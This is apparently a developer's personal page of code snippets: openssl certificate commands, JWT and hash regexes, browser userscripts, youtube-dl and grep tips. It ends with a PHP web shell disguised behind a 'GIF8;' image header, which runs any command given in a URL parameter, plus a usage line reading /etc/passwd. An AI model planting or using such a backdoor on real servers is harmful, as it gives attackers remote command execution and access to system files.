Sathish Kumar sathishshan

openssl s_client -state -connect postman-echo.com:443 | openssl x509 -text

openssl x509 -inform DER -in cacert.der -out cacert.pem

openssl x509 -inform der -in cacert.der -out cacert.crt

Regex to match JWTs

[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*

Regex to match MD2, MD4, MD5, SHA224, SHA256, SHA384, SHA512 hashes in case someone needs it.

([a-fA-F0-9]{32}(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{16})?(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{32})?(?:[a-fA-F0-9]{32})?)

	// ==UserScript==
	// @name Login
	// @namespace Auto_Login
	// @description Login_Auto
	// @version 1.0
	// @match https://site.com
	// @run-at document-start
	// ==/UserScript==

	window.addEventListener('load', function() {

	#single video
	youtube-dl --cookies youtube.com_cookies.txt "URL"

	#playlist
	youtube-dl --yes-playlist --cookies youtube.com_cookies.txt "URL"

	You can use: --playlist-start, --playlist-end, --playlist-reverse or --playlist-items to achieve this goal.

	#Note: cookie should be in Netscape format

	// ==UserScript==
	// @name Remove-UTM-from-URL
	// @namespace parameter_blocker
	// @description Removes UTM from url (by reloading)
	// @version 1.0
	// @include https://www.naukri.com/job-listings*
	// @run-at document-start
	// ==/UserScript==

	var loc = window.top.location.toString();

	grep -Porn <pattern>
	P: Use Perl engine, grep can't run modern regexes otherwise
	o: Only show the matching part, not the whole line
	r: Search recursively
	n: Print line number of matches
	Bonus: use -Porh to exclude filenames from output i.e. only show matches. Great for piping.

	// ==UserScript==
	// @name Remove_Params
	// @namespace parameter_blocker
	// @description Remove any parameter from the url
	// @version 1.0
	// @include *
	// @run-at document-start
	// ==/UserScript==

	var loc = window.top.location.toString();

	GIF8;
	<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>


	<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->